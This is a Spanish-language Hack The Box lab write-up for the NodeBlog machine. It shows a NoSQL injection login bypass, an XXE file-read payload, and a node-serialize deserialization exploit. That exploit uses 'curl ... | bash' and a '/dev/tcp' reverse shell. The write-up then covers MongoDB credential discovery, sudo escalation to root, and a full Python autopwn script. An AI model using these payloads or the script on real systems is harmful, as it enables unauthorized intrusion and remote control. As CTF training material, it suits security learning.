Inicio NodeBlog HTB Write-up
Entrada
Cancelar

NodeBlog HTB Write-up

Resumen

Saludos, en esta oportunidad vamos a resolver la máquina de Hack The Box llamada NodeBlog, la cual tiene una dificultad easy. Para lograr vulnerarla realizaremos lo siguiente:

  • Injección noSQL.
  • XXE para leer archivos internos de la máquina.
  • Ataque de desserialización en Node.js.
  • Enumeración en MongoDB.
  • Automatización de la intrusión en Python.

Reconocimiento y Enumeración

En primer lugar, se comprueba la correcta conexión en la VPN con la máquina utilizando ping:

1
2
3
4
ping -c 1 10.10.11.139

PING 10.10.11.139 (10.10.11.139) 56(84) bytes of data.
64 bytes from 10.10.11.139: icmp_seq=1 ttl=63 time=141 ms

Se observa que existe una correcta conexión con la máquina.

Para realizar un reconocimiento activo se utilizará la herramienta nmap, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):

1
sudo nmap --open -sS -p- -min-rate 5000 -n -Pn 10.10.11.139 -oG ports

Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:

1
2
3
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Realizamos un escaneo de los servicios expuestos utilizando nmap:

1
sudo nmap -sCV -p22,5000 10.10.11.139 -oN ServiceScan

Como resultado del escaneo tenemos:

1
2
3
4
5
6
7
8
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ea8421a3224a7df9b525517983a4f5f2 (RSA)
|   256 b8399ef488beaa01732d10fb447f8461 (ECDSA)
|_  256 2221e9f485908745161f733641ee3b32 (ED25519)
5000/tcp open  http    Node.js (Express middleware)
|_http-title: Blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Observamos que se tiene el puerto 5000 con un servicio http, por lo tanto, utilizamos whatweb para enumerar información:

1
2
whatweb 10.10.11.139:5000
http://10.10.11.139:5000 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, IP[10.10.11.139], Script[JavaScript], Title[Blog], X-Powered-By[Express], X-UA-Compatible[IE=edge]

Entramos a la web para ver que tenemos:

Observamos una especie de blog que tiene solo una entrada, si la vemos:

Pero no tenemos nada interesante.

Si volvemos tenemos un panel de login, asiq ue vamos a ingresar:

Vamos a dar credenciales en forma de prueba:

Como resultado tenemos:

Contraseña equivocada, esto quiere decir que tal vez podamos enumerar usuarios del sistema, si ingresamos otro nombre:

Tenemos como resultado:

Usuario no válido. Por lo tanto, el usuario admin si existe.

Vamos a utilizar brupsuite para analizar la petición:

Obsevamos que se tramita por post el usuario y contraseña como esperaríamos.

Vamos a intentar una injección básica de sql, pero en este caso está en url encode:

1
user=admin'+or+'1'%3d'1--+-&password=password

Pero nos dice usuario no válido.

Podemos probar si el sistema se demora en responder 5 segundos:

1
user=admin&password=password'+or+sleep(5)

Pero no pasa nada.

Cambiamos el método a aplication/json e intentamos de nuevo:

1
2
3
4
{
"user":"admin' or 1=1-- -",
"password": "password"
}

Pero tampoco pasa nada.

Quiźas no es vulnerable a SQLi, sin embargo, podríamos probar si es vulnerable a noSQLi. Podría ser que se esté aplicando un mongo, cassandra o alguna base de datos no relacional.

Si buscamos por la web encontramos en github varios playloads para probar. Debemos probar varias, en este caso estamos utilizando json así que utilizaremos este:

1
{"username": {"$ne": null}, "password": {"$ne": null}}

Como sabemos que el nombre de usuario válido es admin lo cambiaremos:

1
{"user": "admin", "password": {"$ne": "zapato"}}

el “$ne” corresponde al not equal, por lo tanto, le estamos diciendo soy el usuario admin y mi contraseña no es zapato. Veamos que sucede:

Ha funcionado, estamos logeados dentro de la página. Por lo tanto, si era vulnerable a noSQLi.

Observamos que tenemos una nueva área para subir cosas, si le hacemos click nos pedirá subir un archivo, vamos a subir un archivo de prueba para ver qué ocurre:

1
Invalid XML Example: Example DescriptionExample Markdown

Tal parece que es necesario subir un archivo XML. Vamos a crear un archivo XML normal para ver que hace la página:

1
Invalid XML Example: <post><title>Example Post</title><description>Example Description</description><markdown>Example Markdown</markdown></post>

Vamos a recrearlo:

1
2
3
4
5
<post>
<title>archivo xml</title>
<description>Description</description>
<markdown> Markdown</markdown>
</post>

Lo subimos a la web para ver que ocurre:

Explotación

Vemos que ha parseado la información que hemos puesto en el archivo XML. Esto es peligroso porque puede acontecer un XXE que es una inyección de entidad externa XML. Buscamos en la web como explotar dicha vulnerabilidad, en la página de github de Payloads all the things tenemos bastantes para jugar.

Si encontramos a la sección de XXE, encontramos lo siguiente:

1
2
3
4
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

Vamos a agregarlo a nuestro xml:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<post>
<title>archivo xml</title>
<description>Description</description>
<markdown> &xxe;</markdown>
</post>

En la sección de markdown agregamos &xxe; para llamar la entidad y hacer que se acontezca el XXE, si subimos el archivo observamos:

Observamos que se ha ejecutado correctamente el comando, por lo tanto, explotamos el XXE, ahora lo utilizaremos para revisar diversas rutas e información del sistema, en la captura de nmap observamos que está el servidor de node.js normalmente en este tipo de proyectos hay diferentes archivos, uno en especial podríamos ver el llamado server.js, que quiźas podría contener información que nos ayude, sin embargo, no conocemos las rutas del sistema, pero como tenemos una injección noSQL podemos provocar un error y así ver si nos ofrece información de los directorios:

1
{"user": "admin", "password": {^^^"asdasd$ne": "zapato"}}a

Al ingresar este json con error podemos observar lo siguiente:

1
SyntaxError: Unexpected token ^ in JSON at position 31<br> &nbsp; &nbsp;at JSON.parse (&lt;anonymous&gt;)<br> &nbsp; &nbsp;at parse (/opt/blog/node_modules/body-parser/lib/types/json.js:89:19)<

Observamos una dirección /opt/blog en donde se encuentra el node_modules, por lo tanto, ahi debe estar el servidor web js. En el XXE vamos a introducir la dirección /opt/blog/server.js, como resultado tenemos:

Tenemos el siguiente código en js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
const express = require('express')
const mongoose = require('mongoose')
const Article = require('./models/article')
const articleRouter = require('./routes/articles')
const loginRouter = require('./routes/login')
const serialize = require('node-serialize')
const methodOverride = require('method-override')
const fileUpload = require('express-fileupload')
const cookieParser = require('cookie-parser');
const crypto = require('crypto')
const cookie_secret = "UHC-SecretCookie"
//var session = require('express-session');
const app = express()

mongoose.connect('mongodb://localhost/blog')

app.set('view engine', 'ejs')
app.use(express.urlencoded({ extended: false }))
app.use(methodOverride('_method'))
app.use(fileUpload())
app.use(express.json());
app.use(cookieParser());
//app.use(session({secret: "UHC-SecretKey-123"}));

function authenticated(c) {
    if (typeof c == 'undefined')
        return false

    c = serialize.unserialize(c)

    if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex')) ){
        return true
    } else {
        return false
    }
}


app.get('/', async (req, res) => {
    const articles = await Article.find().sort({
        createdAt: 'desc'
    })
    res.render('articles/index', { articles: articles, ip: req.socket.remoteAddress, authenticated: authenticated(req.cookies.auth) })
})

app.use('/articles', articleRouter)
app.use('/login', loginRouter)


app.listen(5000)

Si analizamos un poco el codigo, observamos que utiliza esta librería:

1
const serialize = require('node-serialize')

Y está esta función:

1
2
3
4
5
6
7
8
9
10
11
12
function authenticated(c) {
    if (typeof c == 'undefined')
        return false

    c = serialize.unserialize(c)

    if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex')) ){
        return true
    } else {
        return false
    }
}

Que recibe un parámetro c del usuario, la cual después compara con el resultado de la función hash para autenticar el usuario. Por lo tanto, está comparando las cookies para iniciar la sesión desserializando la data que le llega desde el usuario. Esto abre la posibilidad del ataque de desserialización, pues lo que podemos hacer es mandarle una data maliciosa que se va a serializar y mandar al servidor web, cuando este llegue va a ser desserializado, sin embargo, antes de que lo haga haremos que ejecute la acción que les estamos diciendo o el comando que mandamos de manera maliciosa a través de un bug en nodejs (IIFE).

Si buscamos en la web tenemos esta web que nos dice la forma de enviar data serializada para injectar comandos, especificamente es esta:

1
{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}

Sin embargo el que enviaremos será este:

1
{"rce":"_$$ND_FUNC$$_function (){ require('child_process').exec('curl 10.10.14.17', function(error, stdout, stderr) { console.log(stdout) });}()"}

Enviando una petición http hacia nuestro equipo, vamos a tener abierto un servidor http con python para aquello. Hay que tener encuenta que la data viaja en url enconde, por lo tanto, vamos a aplicarselo a nuestra data:

1
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%20%28%29%7b%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%63%75%72%6c%20%31%30%2e%31%30%2e%31%34%2e%31%37%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%7d%28%29%22%7d

Dentro del navegador web ponemos nuestra cookie y recargamos:

Luego de recargar la página, observamos el servidor http:

1
2
3
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.139 - - [13/Feb/2023 17:31:02] "GET / HTTP/1.1" 200 -

Tenemos una petición get del servidor web. Ahora el siguiente paso es ganar acceso a la máquina, en este caso haremos la misma petición get pero tendremos un recurso llamado index.html que contendrá lo siguiente:

1
2
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.17/1235 0>&1

Luego, esa información que obtenga de la petición, haremos que la ejecute con bash mientras esperamos una conexión con netcat por el puerto 1235:

1
{"rce":"_$$ND_FUNC$$_function (){ require('child_process').exec('curl 10.10.14.17 | bash', function(error, stdout, stderr) { console.log(stdout) });}()"}
1
2
3
 python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.139 - - [13/Feb/2023 17:36:48] "GET / HTTP/1.1" 200 -

Y si vemos el netcat:

1
2
3
4
5
6
7
8
9
10
11
12
nc -nvlp 1235
listening on [any] 1235 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.139] 54948
bash: cannot set terminal process group (863): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

bash: /home/admin/.bashrc: Permission denied
admin@nodeblog:/opt/blog$ whoami
whoami
admin

Entramos a la máquina como usuario admin.

Si intentamos entrar al directorio de admin nos dice lo siguiente:

1
2
3
4
5
6
7
8
9
admin@nodeblog:/home$ cd admin
cd admin
bash: cd: admin: Permission denied
admin@nodeblog:/home$ ls -la
ls -la
total 16
drwxr-xr-x 1 root  root   10 Dec 27  2021 .
drwxr-xr-x 1 root  root  180 Dec 27  2021 ..
drw-r--r-- 1 admin admin 220 Jan  3  2022 admin

No tenemos permisos de atravesar esa carpeta, sin embargo, somos el dueño asi que lo cambiaremos con chmod:

1
2
3
4
admin@nodeblog:/home$ chmod u+x admin
chmod u+x admin
admin@nodeblog:/home$ cd admin
cd admin

Dentro del directorio buscamos la flag:

1
2
3
admin@nodeblog:~$ cat user.txt
cat user.txt
14f76e48c30e6a58a819a1

¡Bien!, tenemos la flag de usuario.

Si intentamos entrar a root:

1
2
3
admin@nodeblog:~$ cd /root/
cd /root/
bash: cd: /root/: Permission denied

Asi que tendremos que escalar.

Escalada de privilegios

Necesitamos una consola decente asi que se ejecutan los siguientes comandos:

  • script /dev/null -c bash
  • (ctrl + z)
  • stty raw -echo; fg
  • reset xterm
  • export TERM=xterm
  • export SHELL=bash

De esta forma tenemos una consolta totalmente funcional.

Intentamos ver los privilegios que tenemos:

1
2
admin@nodeblog:~$ sudo -l
[sudo] password for admin: 

Pero no tenemos la contraseña.

Si listamos tareas cron no encontramos nada interesante:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
admin@nodeblog:~$ cat /cron/tab
cat: /cron/tab: No such file or directory
admin@nodeblog:~/.ssh$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

Si buscamos permisos SUID:

1
admin@nodeblog:~$ find \-perm -4000 2>/dev/null

Tampoco encontramos nada.

Si buscamos por los servicios que se están ejecutando en la máquina:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
dmin@nodeblog:~$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.1:27017         0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0    138 10.10.11.139:54948      10.10.14.17:1235        ESTABLISHED
tcp        0      0 127.0.0.1:27017         127.0.0.1:59240         ESTABLISHED
tcp        0      0 127.0.0.1:27017         127.0.0.1:59244         ESTABLISHED
tcp        0      0 127.0.0.1:27017         127.0.0.1:59242         ESTABLISHED
tcp        0      0 127.0.0.1:59240         127.0.0.1:27017         ESTABLISHED
tcp        0      0 127.0.0.1:59244         127.0.0.1:27017         ESTABLISHED
tcp        0      0 127.0.0.1:59242         127.0.0.1:27017         ESTABLISHED
tcp6       0      0 :::5000                 :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN 

Si nos fijamos bien está el puerto 27017, si recordamos hicimos una injección noSQL, y este puerto normalmente se utiliza para Mongo, vamos a husmear por las bases de datos a ver si encontramos algo.

1
2
3
4
5
6
7
8
9
10
admin@nodeblog:~$ mongo
MongoDB shell version v3.6.8
connecting to: mongodb://127.0.0.1:27017
Implicit session: session { "id" : UUID("5846f80d-3e2b-4daf-91aa-b605bd155d54") }
MongoDB server version: 3.6.8
Server has startup warnings: 
2023-02-13T12:05:01.400+0000 I CONTROL  [initandlisten] 
2023-02-13T12:05:01.400+0000 I CONTROL  [initandlisten] ** WARNING: Access control is not enabled for the database.
2023-02-13T12:05:01.400+0000 I CONTROL  [initandlisten] **          Read and write access to data and configuration is unrestricted.
2023-02-13T12:05:01.400+0000 I CONTROL  [initandlisten] 

Utilizamos el comando help para ver los diferentes comandos que podemos utilizar, en este caso usaremos show dbs:

1
2
3
4
5
show dbs
admin   0.000GB
blog    0.000GB
config  0.000GB
local   0.000GB

Buscaremos en admin:

1
2
use admin
switched to db admin
1
2
show collections
system.sessions

Pero no encontramos nada.

Usamos blog:

1
2
3
4
5
 use blog
switched to db blog
 show collections
articles
users

Encontramos users, asi que buscaremos si hay información allí.

1
2
db.users.find()
{ "_id" : ObjectId("61b7380ae5814df6030d2373"), "createdAt" : ISODate("2021-12-13T12:09:46.009Z"), "username" : "admin", "password" : "IppsecSaysPleaseSubscribe", "__v" : 0 }

Encontramos lo que parece ser la contraseña del usuario admin, vamos a probarla:

1
2
3
4
5
6
7
8
9
admin@nodeblog:~$ sudo -l
[sudo] password for admin: 
Matching Defaults entries for admin on nodeblog:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on nodeblog:
    (ALL) ALL
    (ALL : ALL) ALL

Si corresponde a su contraseña, podemos ver que podemos utilizar cualquier comando como root, somos sudoes así que estamos listos:

1
2
3
4
5
6
7
admin@nodeblog:~$ sudo bash
root@nodeblog:/home/admin# whoami
root
root@nodeblog:/home/admin# cd /root
root@nodeblog:~# cat root.txt
dacc9bd5f9edbacb1c4fd9b
root@nodeblog:~# 

¡Bien!

Hemos ganado acceso como administrador.

Como un extra vamos a realizar la automatización de la intrusión a la máquina.

Vamos a utilizar las siguientes librerías:

1
2
3
import requests,sys,base64
from pwn import *
from os import system

Definimos nuestras variables:

1
2
3
Host_ip = sys.argv[1]
Target_ip = 'http://10.10.11.139:5000'
s = requests.Session()

Luego, tenemos la siguiente función que se encarga de hacer un url encode completo al string:

1
2
def encode_all(string):
    return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)

La siguiente función, es esta:

1
2
3
4
5
6
7
8
9
10
11
12
13
def unserialize_attack():

    reverse = f'bash -i >& /dev/tcp/{Host_ip}/1234 0>&1'
    reverse_bytes = reverse.encode("ascii")
    base64_bytes = base64.b64encode(reverse_bytes)
    reversebase64 = base64_bytes.decode("ascii")

    payload= encode_all("""{"rce":"_$$ND_FUNC$$_function (){ require('child_process').exec('echo %s| base64 -d | bash', function(error, stdout, stderr) { console.log(stdout) });}()"}""" % reversebase64)
    cookie = f'auth ={payload}' 
    headers = {
    "Cookie": cookie
    }   
    r = s.get(Target_ip,headers=headers)

La cual pasa a base64 la reverse shell y lo agrega al payload, el cual pasa a url enconde. Toda la data se envía en el header en la petición get.

Finalmente, en el main:

1
2
3
    threading.Thread(target=unserialize_attack, args=()).start()
    shell = listen(1234,timeout=10).wait_for_connection()
    shell.interactive()

Tenemos la llamada a la función unserialize_attack mientras estamos escuchando por el puerto 1234 la conexión.

El código completo es el siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests,sys,base64
from pwn import *
from os import system

def def_handler(sig, frame):
    print("\n\n[!] saliendo...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

if len(sys.argv) < 2:
    print(f'[!] Uso: python3 {sys.argv[0]} "Tu IP"\n' )
    sys.exit(1)

Host_ip = sys.argv[1]
Target_ip = 'http://10.10.11.139:5000'
s = requests.Session()


def encode_all(string):
    return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)

def unserialize_attack():

    reverse = f'bash -i >& /dev/tcp/{Host_ip}/1234 0>&1'
    reverse_bytes = reverse.encode("ascii")
    base64_bytes = base64.b64encode(reverse_bytes)
    reversebase64 = base64_bytes.decode("ascii")

    payload= encode_all("""{"rce":"_$$ND_FUNC$$_function (){ require('child_process').exec('echo %s| base64 -d | bash', function(error, stdout, stderr) { console.log(stdout) });}()"}""" % reversebase64)
    cookie = f'auth ={payload}' 
    headers = {
    "Cookie": cookie
    }   
    r = s.get(Target_ip,headers=headers)

if __name__ == '__main__':
    
    threading.Thread(target=unserialize_attack, args=()).start()
    shell = listen(1234,timeout=10).wait_for_connection()
    shell.interactive()

Si lo ejecutamos:

1
2
3
4
5
6
7
8
9
python3 AutopwnNodeBlog.py 10.10.14.17
[+] Trying to bind to :: on port 1234: Done
[+] Waiting for connections on :::1234: Got connection from ::ffff:10.10.11.139 on port 59108
[*] Switching to interactive mode
bash: cannot set terminal process group (863): Inappropriate ioctl for device
bash: no job control in this shell
admin@nodeblog:/opt/blog$ $ whoami
whoami
admin 

¡Listo! Hemos automatizado la intrusión.

Nos vemos, hasta la próxima.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.